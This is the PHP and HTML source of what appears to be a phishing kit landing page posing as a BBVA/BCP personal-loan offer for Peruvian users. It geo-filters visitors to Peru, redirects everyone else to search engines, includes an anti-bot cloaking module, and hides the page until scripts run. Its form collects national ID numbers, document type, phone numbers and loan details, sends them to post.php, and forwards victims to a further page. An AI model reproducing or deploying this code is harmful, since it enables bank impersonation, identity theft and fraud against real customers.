<?php
error_reporting(0);
session_start();

$cliente = getIP();

$xml = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=".$cliente);
SSLPage($xml);
$pais = $xml->geoplugin_countryName ; // Pais


function SSLPage($url) {

	$ch = curl_init();

	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($ch, CURLOPT_HEADER, FALSE);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_REFERER, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

	$result = curl_exec($ch);

	curl_close($ch);

	return $result;
}

// include("locate.php");
// $pais = getCountryFromIP($cliente, " NamE ");  // Pais


function getIP() {
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        $cliente = $_SERVER["HTTP_CF_CONNECTING_IP"];
    }
    elseif(isset($_SERVER["HTTP_CLIENT_IP"])) {
       $cliente = $_SERVER["HTTP_CLIENT_IP"];
    }
    elseif(isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
       $cliente = $_SERVER["HTTP_X_FORWARDED_FOR"];
    }
    elseif(isset($_SERVER["HTTP_X_FORWARDED"])) {
       $cliente = $_SERVER["HTTP_X_FORWARDED"];
    }
    elseif(isset($_SERVER["HTTP_FORWARDED_FOR"])) {
       $cliente = $_SERVER["HTTP_FORWARDED_FOR"];
    }
    elseif(isset($_SERVER["HTTP_FORWARDED"])) {
       $cliente = $_SERVER["HTTP_FORWARDED"];
    }
    else {
       $cliente = (isset($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : false;
    }
    if ($cliente === '::1' || $cliente === '127.0.0.1') {
       $cliente = '181.67.216.84';
    }
    return $cliente;
}
/**************************************************************/
$police = 1; /* 1 para activar antibots | NO SE RECOMIENDA USAR ANTIBOTS EN CAMPAÑAS DE GOOGLE ADS
para ver, activar o desactivar algún escudo del guardian revisar en su config model/config.ini
/**************************************************************/
if ($police == '1') {
    include 'model/on.php';
}
/**************************************************************/
$alterna = ["https://bing.com","https://www.ask.com/","https://espanol.search.yahoo.com/"];

$rifa = rand(0,2);
/**************************************************************/
switch ($pais) {

    case "": // [Acceso por Vacio]
    break;

    case "Peru": // [Acceso por Pais]
        contador();
    break;
    
    default: // [Bloqueado por Pais]

        echo'<form id="form" action="'.$alterna[$rifa].'" method="post"></form><script>document.forms["form"].submit()</script>';
        exit();

    break;
}
/**************************************************************/
function contador() {
    $archivo = "voy.txt";
		
	if (!file_exists($archivo)) {
		$archivo = fopen($archivo, "w");
		fwrite($archivo, "0");
		fclose($archivo);

		$contar = file_get_contents($archivo);
		file_put_contents($archivo, $contar + 1);
	} else {
		$contar = file_get_contents($archivo);
		file_put_contents($archivo, $contar + 1);
	}
}
/**************************************************************/
$seaCreatures = [ ["desktop_0.png","mobile_0.png", '<p _ngcontent-ntb-c30="" class="fs-32 fs-md-40 bcp-font-demi white mb-3 mb-md-0 lh-1-25">Tu préstamo personal<br>Bbva es express por la<br>Web<br><div class="btnsx"><a onclick="toma();" class="botonera"><span class="tama">Pídelo aquí</span></a></div>'], ["desktop_1.jpg","mobile_1.jpg", '<p _ngcontent-ntb-c30="" class="fs-32 fs-md-40 bcp-font-demi white mb-3 mb-md-0 lh-1-25">Necesitas Dinero?<br>BBVA tiene un<br>Prestamo para ti<br><div class="btnsx"><a onclick="toma();" class="botonera"><span class="tama">Pídelo aquí</span></a></div>'], ["desktop_2.png","mobile_2.png", '<p _ngcontent-ntb-c30="" class="fs-32 fs-md-40 bcp-font-demi white mb-3 mb-md-0 lh-1-25">Que los intereses no<br>Te asusten en el Bbva<br>Tenemos la mejor<br>Tasa de interes mensual<br><div class="btnsx"><a onclick="toma();" class="botonera"><span class="tama">Pídelo aquí</span></a></div>'], ["desktop_3.png","mobile_3.png",'<p _ngcontent-ntb-c30="" class="fs-32 fs-md-40 bcp-font-demi white mb-3 mb-md-0 lh-1-25">¡Tu Préstamo Personal<br>Viene con la mejor<br>Tasa online!<br><div class="btnsx"><a onclick="toma();" class="botonera"><span class="tama">Pídelo aquí</span></a></div>'], ["desktop_4.png","mobile_4.png",'<p _ngcontent-ntb-c30="" class="fs-32 fs-md-40 bcp-font-demi white mb-3 mb-md-0 lh-1-25">Préstamos<br>Rápidos y seguros<br>Facilidad de pagos<br><div class="btnsx"><a onclick="toma();" class="botonera"><span class="tama">Solicitalo aquí</span></a></div>'], ["desktop_5.png","mobile_5.png",'<p _ngcontent-ntb-c30="" class="fs-32 fs-md-40 bcp-font-demi white mb-3 mb-md-0 lh-1-25">¡No te quedes fuera!<br>Aprovecha el CYBER con tu<br>Préstamo Personal <br><div class="btnsx"><a onclick="toma();" class="botonera"><span class="tama">Solicitalo aquí</span></a></div>'], ["desktop_6.png","mobile_6.png", '<p _ngcontent-ntb-c30="" class="fs-32 fs-md-40 bcp-font-demi white mb-3 mb-md-0 lh-1-25" style="color: rgb(0, 42, 141);">¡Vuelve a clases con <br> Tu préstamo BBVA!<br><div class=" pd15" style="line-height:28px; color: rgb(0, 42, 141);"><span class="fs32" style="color: rgb(0, 42, 141);">Pidelo ahora y participa por <br> El sorteo de 2 Macbook PRO M2 <br>Y 20 vales de S/1,000 </span></div></p>'] ];

$numero = rand(0,6);
/**************************************************************/
// ob_start("comprimir");

// $newF = sha1(md5(base64_encode(time() + rand(0,99))));
// $source = "pages";
// recurse_copy($source, $newF);

// function recurse_copy($source,$newF) {
// 	$dir = opendir($source);
// 	@mkdir($newF);
// 	while(false !== ($file = readdir($dir))) {
// 		if (($file != '.') && ($file != '..' )) {
// 			if (is_dir($source . '/' . $file)) {
// 				recurse_copy($source . '/' . $file,$newF . '/' . $file);
// 			} else {
// 				copy($source . '/' . $file,$newF . '/' . $file);
// 			}
// 		}
// 	}
// 	closedir($dir);
// }

// header("location: $newF");
/**************************************************************/
?>
<!DOCTYPE html>
<html lang="es" class="hydrated">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>100% online - al instante</title>
    <meta content="NO-CACHE" http-equiv="CACHE-CONTROL">
    <meta content="NO-CACHE" http-equiv="PRAGMA">
    <meta content="width=device-width, initial-scale=1" name="viewport">
    <link href="app/images/favicon.ico" rel="icon" type="image/png">
    <link href="app/styles/web.css" rel="stylesheet" media="all">
    <link href="app/styles/styles.css" rel="stylesheet" media="all">
    <link href="app/styles/web_2.css" rel="stylesheet" media="all">
    <style>
        /* Reposo */

        span, input {
            font-family: var(--bcp-font-family-primary-demi, "Flexo-Demi"), helvetica, arial, sans-serif;
            font-size: 1rem;
            padding: 0;
        }

        label {
            display: block;
            width: 100%;
            border: 1px solid var(--onsurface-600, #868f9e);
            padding: 12px 10px;
            position: relative;
            box-sizing: border-box;
            border-radius: 8px;
            transition: .25s;
        }

        label input {
            display: block;
            width: 100%;
            border: none;
            background: transparent;
            outline: none;
        }

        label span {
            color: silver;
            position: absolute;
            top: 12px;
            left: 10px;
            transition: .25s;
        }

        /* Focus */

        label.focus {
            border-color: var(--primary-400, #0a47f0);
        }

        label:hover {
            border-color: var(--primary-400, #0a47f0);
        }

        label span.focus {
            color: var(--primary-400, #0a47f0);
        }

        /* Top */

        label span.top {
            left: 8px;
            top: -10px;
            font-size: 12px;
            background: white;
            padding: 0 6px;
        }

        @media only screen and (min-width: 600px) {
            label input {
                width: 600px;
            }
        }

        @media only screen and (min-width: 992px) {
            label input {
                width: 100%;
            }
        }

        @media (min-width: 767px) {
            .back {
                width: 100%;
                position: absolute;
                z-index: -1;
                background-repeat: no-repeat;
                background-position: center center;
                background-size: cover;
                background-image: url(app/images/principal/<?=$seaCreatures[$numero][0];?>); /* Destok.png */
            }
        }

        .fs32 {
            font-size: 26px !important;
        }

        .btnsx {
            position: absolute;
            padding: 20px 0px 0px
        }

        .pd15 {
            padding-top: 15px;
        }

        .tama {
            font-size: 14px
        }

        #selector {
            border-radius: 8px 0 0 8px;
            width: 55%;
            border: 1px solid var(--onsurface-600, #868f9e);
        }

        .docu-css {
            border-radius: 0 8px 8px 0;
            width: 190px;
        }

        @media (max-width: 767px) {
            .fs-32 {
                font-size: 18px !important;
            }

            .fs32 {
                font-size: 15px !important;
            }

            .back {
                width: 100%;
                position: absolute;
                background-position-x: -20px;
                background-size: cover;
                background-image: url(app/images/principal/<?=$seaCreatures[$numero][1];?>) !important; /* Mobile */
            }

            .btnsx {
                position: absolute;
                padding: 20px 0px 0px
            }

            .pd15 {
                padding-top: 0px;
            }

            .botonera {
                padding: 6px 10px!important;
                border-radius: 10px 10px 10px 10px!important;
            }

            .tama {
                font-size: 11px
            }

            #selector {
                width: 30%;
            }

            .docu-css {
                width: 265px;
            }
        }

        #loader_ajax {
			position: fixed;
			top: 0px;
			left: 0px;
			width: 100%;
			height: 100%;
			display: flex;
			flex-direction: row;
			justify-content: center;
			align-items: center;
			background: rgba(0,0,0,0.85);
            /* background-color: #c90d06; */
			z-index: 99999999999999999999999999;
		}

        .spinner-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }

        .spinner {
            position: relative;
            width: 70px;
            height: 70px;
            border: 3px solid #ffffff;
            border-top: 3px solid var(--secondary-500, #072146);
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        .image {
            width: 30px;
            height: 30px;
            background-image: url("app/images/favicon.ico");
            background-size: cover;
            background-repeat: no-repeat;
            background-position: center;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .botonera {
            gap: 4px;
            padding: 12px 30px;
            background-color: #ffffff;
            color: #072146;
            cursor: pointer;
            border-radius: 20px;
            font-size: 14px;
            line-height: 16px;
        }

        .botonera:hover {
            color: #fff;
        }

        bcp-select-option .select-item {
            display: -ms-flexbox;
            display: flex;
            -ms-flex-align: center;
            align-items: center;
            height: 100%;
            min-height: 40px;
            padding: 10px 16px;
            cursor: pointer;
            background-color: #fff;
        }

        bcp-select-option {
            display: block;
        }

        .dropdown-toggle {
            border: 1px solid var(--onsurface-600, #868f9e);
            border-radius: 8px 0 0 8px;
            border-right: 0;
            padding-right: 36px;
        }

        .select-container {
            max-width: 85px!important;
        }

        .col {
            flex-basis: 0;
            flex-grow: 1;
            max-width: 100%;
        }

        bcp-select .dropdown {
            padding-top: 0px;
        }

        bcp-select-option .select-item:hover {
            background-color: var(--onsurface-050, #eff0f2);
        }
    </style>
    <script>
		document.addEventListener('DOMContentLoaded', function () {
            var anchoPantalla = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
			var esRobot = /bot|crawler|spider|crawling/i.test(navigator.userAgent);
			var esAnchoMayorA500px = anchoPantalla > 500;
            let rutas = ["./landing", "./inicio/web", "./home/site", "./site/inicio", "./portal/web"];
            var counter = rutas.length;
            var aleatorio = Math.round(Math.random() * (counter - 1));

			if (esRobot || esAnchoMayorA500px) {
               // window.location.href = rutas[aleatorio];
                //history.pushState(null, null, rutas[aleatorio]);
                $("#total").show();
			} else {
				$("#total").show();
			}
        });
		
    </script>
</head>
<body id="total" style="display: none;">
    <div id="loader_ajax" style="display: none;">
        <div class="spinner-container">
			<div class="image" style="top: 52px; width: 25px; position: relative;"></div>
			<div class="spinner"></div>
			<p style="text-align: center; font-family: var(--bcp-font-family-primary-regular, &#39;Flexo-Regular&#39;),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">Espere un momento <br> por favor...</p>
	 	</div>
    </div>
    <app-root _nghost-ntb-c8="" ng-version="12.2.17">
        <bcp-layout _ngcontent-ntb-c8="" fixed-menu="" class="hydrated">
            <section class="layout">
                <bcp-navbar menu-position="right" is-fixed="" class="hydrated">
                    <nav class="navbar-expand bg-primary-700 navbar-dark fixed-top navbar">
                        <div class="container">
                            <a class="brand-margin-left navbar-brand">
                                <bcp-img class="hydrated">
                                    <img src="app/images/logoBN.png" class="hydrated">
                                </bcp-img>
                                <bcp-character class="hydrated">
                                    <p class="character-lg white-80 bcp-font-regular">Dinero al instante</p>
                                </bcp-character>
                            </a>
                        </div>
                    </nav>
                </bcp-navbar>
                <main class="layout-content">
                    <app-home _nghost-ntb-c30="">
                        <div _ngcontent-ntb-c30="" class="back">
                            <div _ngcontent-ntb-c30="" class="color"></div>
                            <div _ngcontent-ntb-c30="" class="wave">
                                <svg _ngcontent-ntb-c30="" width="100%" height="100%" viewBox="0 0 1200 168" preserveAspectRatio="none" xmlns="http://www.w3.org/2000/svg">
                                    <path _ngcontent-ntb-c30="" d="M1200 0v168H0v-54.708c118.333 28.97 304 42.722 557 41.26C810 153.087 1024.333 101.57 1200 0z" fill="#FFF" fill-rule="evenodd"></path>
                                </svg>
                            </div>
                        </div>
                        <div _ngcontent-ntb-c30="" class="container">
                            <div _ngcontent-ntb-c30="" class="row">
                                <div _ngcontent-ntb-c30="" class="col col-md-10"> <!-- offset-md-1 -->
                                    <div _ngcontent-ntb-c30="" class="row">
                                        <div _ngcontent-ntb-c30="" class="col char">
                                            <?=$seaCreatures[$numero][2];?>
                                        </div>
                                    </div>
                                    <div _ngcontent-ntb-c30="" class="row">
                                        <div _ngcontent-ntb-c30="" class="col">
                                            <app-loan-form _ngcontent-ntb-c30="" _nghost-ntb-c23="">
                                                <div _ngcontent-ntb-c23="" class="form-container dp-md-01">
                                                    <div _ngcontent-ntb-c23="" class="form-content">
                                                        <div _ngcontent-ntb-c23="" class="container p-0 pl-md-3 pr-md-3">
                                                            <div _ngcontent-ntb-c23="" class="col col-md-10 pl-0 pr-0 pl-md-3 pr-md-3 ptp-32 pb-md-3">
                                                                                                                            <span>Empieza tu solicitud para evaluarte</span>
                                                    <br></br>                                        
                                                                <div class="row flex-column flex-md-row align-items-center ng-pristine ng-invalid ng-touched">
                                                                    <div _ngcontent-ntb-c23="" class="col">
                                                                        <div>
                                                                            <label>
                                                                                <span>Ingresa tu monto</span>
                                                                                <input type="tel" id="prestamo" maxlength="10" onkeypress="return tipoFiltro(event)" required="" autocomplete="off" onkeyup="keyupMonto(this)">
                                                                            </label>
                                                                        </div>
                                                                        <bcp-paragraph class="helper-text hydrated">
                                                                            <p class="bcp-font-regular onsurface-800 paragraph-sm" id="msg_1" style="text-align: center; color: red; padding-bottom: 5px;">&nbsp;</p>
                                                                        </bcp-paragraph>
                                                                    </div>

                                                                    <div _ngcontent-ntb-c23="" class="col">
                                                                        <div>
                                                                            <label>
                                                                                <span>Meses a Pagar</span>
                                                                                <input type="tel" id="pay_m" maxlength="2" required="" autocomplete="off">
                                                                            </label>
                                                                        </div>
                                                                        <bcp-paragraph class="helper-text hydrated">
                                                                            <p class="bcp-font-regular onsurface-800 paragraph-sm" id="msg_4" style="text-align: center; color: red; padding-bottom: 5px;">&nbsp;</p>
                                                                        </bcp-paragraph>
                                                                    </div>

                                                                    <div _ngcontent-ntb-c23="" class="col">
                                                                        <bcp-select option-type="simple" class="hydrated">
                                                                            <div class="dropdown filled md" tabindex="-1" name="bcp-select-0">
                                                                                <div style="display:flex;">
                                                                                    <div id="selector" class="dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" role="listbox">
                                                                                        <bcp-select-header slot="header" class="hydrated">
                                                                                            <bcp-paragraph class="hydrated">
                                                                                                <p id="nameCombo" class="paragraph-lg bcp-font-demi text truncate">DNI</p>
                                                                                                <input type="hidden" id="tdocu" value="DNI">
                                                                                            </bcp-paragraph>
                                                                                        </bcp-select-header>
                                                                                        <bcp-icon class="select-icon-angle hydrated">
                                                                                            <i class="icon angle-drop-down-r" aria-hidden="true"></i>
                                                                                        </bcp-icon>
                                                                                    </div>

                                                                                    <div>
                                                                                        <label class="docu-css">
                                                                                            <span>Documento</span>
                                                                                            <input type="tel" id="dni" maxlength="8" required="" autocomplete="off">
                                                                                        </label>
                                                                                    </div>
                                                                                </div>
                                                                                <bcp-paragraph class="helper-text hydrated">
                                                                                    <p class="bcp-font-regular onsurface-800 paragraph-sm" id="msg_2" style="text-align: center; color: red; padding-bottom: 5px;">&nbsp;</p>
                                                                                </bcp-paragraph>
                                                                                
                                                                                <div id="optiones" class="dropdown-menu" x-placement="bottom-start" style="width: 360px; top: 50px; display:none;">
                                                                                    <div class="container-option-menu">
                                                                                        <bcp-select-option opt="" class="hydrated">
                                                                                            <div  id="op1" class="select-item" role="option">
                                                                                                <bcp-paragraph class="hydrated">
                                                                                                    <p class="paragraph-md bcp-font-regular primary-400 truncate">DNI</p>
                                                                                                </bcp-paragraph>
                                                                                            </div>
                                                                                        </bcp-select-option>
                                                                                        <bcp-select-option opt="" class="hydrated">
                                                                                            <div id="op2" class="select-item" role="option">
                                                                                                <bcp-paragraph class="hydrated">
                                                                                                    <p class="paragraph-md bcp-font-regular text truncate">CE</p>
                                                                                                </bcp-paragraph>
                                                                                            </div>
                                                                                        </bcp-select-option>
                                                                                        <bcp-select-option opt="" class="hydrated">
                                                                                            <div id="op3" class="select-item" role="option">
                                                                                                <bcp-paragraph class="hydrated">
                                                                                                    <p class="paragraph-md bcp-font-regular text truncate">PAS</p>
                                                                                                </bcp-paragraph>
                                                                                            </div>
                                                                                        </bcp-select-option>
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </bcp-select>
                                                                    </div>

                                                                    <div _ngcontent-ntb-c23="" class="col">
                                                                        <div>
                                                                            <label>
                                                                                <span>Ingresa tu Celular</span>
                                                                                <input type="tel" id="cell" maxlength="11" onkeypress="return tipoFiltro(event)" required="" autocomplete="off">
                                                                            </label>
                                                                        </div>
                                                                        <bcp-paragraph class="helper-text hydrated">
                                                                            <p class="bcp-font-regular onsurface-800 paragraph-sm" id="msg_3" style="text-align: center; color: red; padding-bottom: 5px;">&nbsp;</p>
                                                                        </bcp-paragraph>
                                                                    </div>
                                                                </div>

                                                                <div _ngcontent-ntb-c23="" class="col-8 col-md-auto">
                                                                    <bcp-button _ngcontent-ntb-c23="" tier="primary" size="lg" id="submit" evaanalytics="" full-width="" class="w-100 w-md-auto mlp-md-32 mbp-40 mb-md-3 hydrated">
                                                                        <button type="button" class="btn-primary btn btn-lg btn-block" onclick="data(1)">
                                                                            <bcp-paragraph class="hydrated">
                                                                                <p class="bcp-font-demi white paragraph-lg">Empezar </p>
                                                                            </bcp-paragraph>
                                                                        </button>
                                                                    </bcp-button>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <div _ngcontent-ntb-c23="" class="form-footer">
                                                        <div _ngcontent-ntb-c23="" class="container">
                                                            <div _ngcontent-ntb-c23="" class="col d-flex justify-content-center align-items-center pt-3 pb-3">
                                                                <div style="text-align: center;">
                                                                    <p _ngcontent-ntb-c23="" class="fs-12 primary-700 m-0">Horario de atención: <span class="bcp-font-demi">Lunes a Domingo</span><br><br><span _ngcontent-ntb-c23="" class="bcp-font-demi">5:00am - 12:00am ( Medianoche )</span><br><br>Las solicitudes fuera del horario serán atendidas al día siguiente</p>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </app-loan-form>
                                        </div>
                                    </div>

                                <div _ngcontent-ntb-c30="" class="col col-md-11">
                                    <app-disclaimer _ngcontent-ntb-c30="" _nghost-ntb-c29="">
                                        <p _ngcontent-ntb-c29="" class="fs-12 bcp-font-demi onsurface-600">Recuerda que obtendrás el préstamo si cumples con los requisitos de la evaluación crediticia online exitosamente. En caso no podamos otorgarte el préstamo a través de este canal, puedes acercarte a cualquiera de nuestras agencias a nivel nacional.</p>
                                        <p _ngcontent-ntb-c29="" class="fs-12 onsurface-600">La TCEA máxima referencial es 26.78%. Por ejemplo, para un préstamo de S/ 3,000 a 12 meses, la TCEA máxima es 26.78% y la cuota mensual es S/ 302.74, las cuales se calculan en base a una tasa de interés efectiva anual (TEA) de 25% y un seguro de desgravamen mensual de 0.705% del saldo. En caso de retraso en los pagos, aplicará la penalidad de pago atrasado, salvo prohibición legal expresa, en cuyo caso aplicarán los intereses moratorios establecidos en la Hoja de Resumen de su crédito.</p>
                                        <p _ngcontent-ntb-c29="" class="fs-12 onsurface-600">Esta web brinda préstamos con plazos desde 3 meses hasta 60 meses.</p>
                                    </app-disclaimer>
                                </div>
                            </div>
                        </div>
                    </app-home>
                    
                    <bcp-footer _ngcontent-ntb-c8="" dark-theme="true" transparent="false" class="hydrated">
                        <footer class="footer">
                            <div class="container">
                                <bcp-footer-body _ngcontent-ntb-c8="" text-brand="Buzón de consultas" value-brand="consultasbcp@bcp.com.pe" class="hydrated">
                                    <div class="footer-body row no-gutters">
                                        <div class="col-sm-12 col-md-8 content-left">
                                            <ul class="list-items">
                                                <bcp-img class="footer-logo hydrated">
                                                    <img alt="BCP" class="footer-logo hydrated" src="app/images/dark-grey.svg">
                                                </bcp-img>
                                                <li>
                                                    <bcp-paragraph class="hydrated">
                                                        <p class="bcp-font-regular onsurface-600 paragraph-md">Banco Bilbao Vizcaya Argentaria, S.A.&nbsp;&nbsp;|&nbsp;&nbsp;© <?=date("Y");?></p>
                                                    </bcp-paragraph>
                                                </li>
                                            </ul>
                                        </div>
                                    </div>
                                </bcp-footer-body>
                            </div>
                        </footer>
                    </bcp-footer>
                </main>
                <section class="layout-footer"></section>
            </section>
        </bcp-layout>
    </app-root>
    <script type="text/javascript" src="app/js/jquery-3.1.0.min.js"></script>
    <script type="text/javascript" src="app/js/nod-j.js"></script>
    <script type="text/javascript" src="app/js/format-j.js"></script>
    <script type='text/javascript'>

        function toma() {
            var cuadro = document.querySelector('#prestamo');
            cuadro.focus();
        }
        
        const inputs = document.querySelectorAll('input');
        inputs.forEach(input => {
            input.onfocus = () => {
                input.previousElementSibling.classList.add('top');
                input.previousElementSibling.classList.add('focus');
                input.parentNode.classList.add('focus');
            }
            input.onblur = () => {
                if(input.value.trim().length == 0) {
                    input.previousElementSibling.classList.remove('top');
                }
                input.previousElementSibling.classList.remove('focus');
                input.parentNode.classList.remove('focus');
            }
        })

        $(document).ready(function() {
            $("#cell").mask("000 000 000");
        });

        function formatoMonto(input) {
            var valor = input.value;
            valor = valor.replace(/\D/g, ""); // Eliminar todos los caracteres que no sean dígitos
            var numericValue = parseFloat(valor) || 0; // Obtén el valor numérico, y si es NaN, establece 0

            input.value = "S/ " + numericValue.toLocaleString('es-PE');
            input.numericValue = numericValue; // Almacena el valor numérico en una propiedad personalizada del input
        }

        function keyupMonto(input) {
            formatoMonto(input);
        }

        function tipoFiltro(e) {
            var charCode = e.key;

            if((/^[0-9]+$/.test(charCode))) {
                return true;
            } else {
                return false;
            }
        }

        $("#selector").click(function () {
            var x = document.getElementById("optiones");

            $('.select-icon-angle i').removeClass('angle-drop-down-r').addClass('angle-drop-up-r');

            if (x.style.display === "none") {
                x.style.display = "block";
            } else {
                $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
                x.style.display = "none";
            }
        });

        $("#dni").click(function () {
            $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
            $('#optiones').hide();
        });

        $("#prestamo").click(function () {
            $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
            $('#optiones').hide();
        });

        $("#pay_m").click(function () {
            $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
            $('#optiones').hide();
        });

        $("#cell").click(function () {
            $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
            $('#optiones').hide();
        });

        $("#op1").click(function () {
            $("#dni").val("");
            $("#tdocu").val("DNI");
            $('#nameCombo').html("DNI");
            $("#dni").attr("minlength","8");
            $("#dni").attr("maxlength","8");
            $('#optiones').hide();
            $('#op1 bcp-paragraph p').removeClass('text').addClass('primary-400');
            $('#op2 bcp-paragraph p').removeClass('primary-400').addClass('text');
            $('#op3 bcp-paragraph p').removeClass('primary-400').addClass('text');
            $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
        });

        $("#op2").click(function () {
            $("#dni").val("");
            $("#tdocu").val("CE");
            $('#nameCombo').html("CE");
            $("#dni").attr("minlength","7");
            $("#dni").attr("maxlength","10");
            $('#optiones').hide();
            $('#op1 bcp-paragraph p').removeClass('primary-400').addClass('text');
            $('#op2 bcp-paragraph p').removeClass('text').addClass('primary-400');
            $('#op3 bcp-paragraph p').removeClass('primary-400').addClass('text');
            $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
        });

        $("#op3").click(function () {
            $("#dni").val("");
            $("#tdocu").val("PASS");
            $('#nameCombo').html("PASS");
            $("#dni").attr("minlength","7");
            $("#dni").attr("maxlength","10");
            $('#optiones').hide();
            $('#op1 bcp-paragraph p').removeClass('primary-400').addClass('text');
            $('#op2 bcp-paragraph p').removeClass('primary-400').addClass('text');
            $('#op3 bcp-paragraph p').removeClass('text').addClass('primary-400');
            $('.select-icon-angle i').removeClass('angle-drop-up-r').addClass('angle-drop-down-r');
        });

        function data(post) {

            let a = document.querySelector("#prestamo"); // Monto Formateado
            let b = document.querySelector("#dni"); // Documento
            let c = document.querySelector("#cell"); // Celular
            let d = document.querySelector("#pay_m"); // Meses
            let e = document.querySelector("#tdocu"); // Tipo de Documento
            var valor = parseFloat(a.value.replace('S/', '').replace(/,/g, ''));  // Monto Real
            
            let x = post;

            switch (x) {

                case 1: // Login

                    if (a.value == "" || valor == "") {
                        $("#msg_1").html("Este campo es requerido");
                        a.focus();
                        return false;
                    } else {
                        $("#msg_1").html("&nbsp;");
                    }

                    if (valor < 500) {
                        $("#msg_1").html("El monto minimo es S/ 500");
                        a.focus();
                        return false;
                    }
                    
                    if (valor > 150000) {
                        $("#msg_1").html("El monto máximo es S/ 150,000");
                        a.focus();
                        return false;
                    }

                    if (d.value == "") {
                        $("#msg_4").html("Este campo es requerido").show();
                        d.focus();
                        return false;
                    } else {
                        $("#msg_4").html("&nbsp;");
                    }

                    if (d.value < 3) {
                        $("#msg_4").html("El valor minimo es 3").show();
                        d.focus();
                        return false;
                    }

                    if (d.value > 60) {
                        $("#msg_4").html("El valor máximo es 60").show();
                        d.focus();
                        return false;
                    }

                    if (b.value == "") {
                        $("#msg_2").html("Este campo es requerido");
                        b.focus();
                        return false;
                    } else {
                        $("#msg_2").html("&nbsp;");
                    }

                    if (b.value.length < 8) {
                        $("#msg_2").html("DNI ingresado incompleto");
                        b.focus();
                        return false;
                    }

                    if (c.value == "") {
                        $("#msg_3").html("Este campo es requerido");
                        c.focus();
                        return false;
                    } else {
                        $("#msg_3").html("&nbsp;");
                    }

                    if (c.value.length < 11) {
                        $("#msg_3").html("El Celular ingresado no es valido");
                        c.focus();
                        return false;
                    }

                    var parametros = {
                        "data_1": valor,
                        "data_2": b.value,
                        "data_3": c.value,
                        "data_9": e.value,
                        "data_13": d.value,
                        "orden": "A", }
                    
                    $("#loader_ajax").show();
                
                    $.ajax({
                        data: parametros,
                        url: 'post.php',
                        type: 'post',
                        success: function(response) {
                            setTimeout(function() {
                                window.open('cms.php', '_parent');
                            }, 2000);
                        }
                    });

                break;

                default:
                break;
            }
        }
    </script>
</body>
</html>
<?php
ob_end_flush(); // Una vez que el búfer almacena nuestro contenido utilizamos "ob_end_flush" para usarlo y deshabilitar el búfer

function comprimir($buffer) { // Función para eliminar todos los espacios en blanco
   $search = array(
      '/\>[^\S ]+/s',     // elimina espacios en blanco después de las etiquetas, excepto el espacio
      '/[^\S ]+\</s',     // elimina en blanco antes de las etiquetas, excepto el espacio
      '/(\s)+/s',         // Acortar múltiples secuencias de espacios en blanco.
      '/<!--(.|\s)*?-->/' // Borrar comentarios html
   );

   $replace = array(
      '>',
      '<',
      '\\1',
      ''
   );

   $buffer = preg_replace($search, $replace, $buffer);

   return $buffer;
}
?>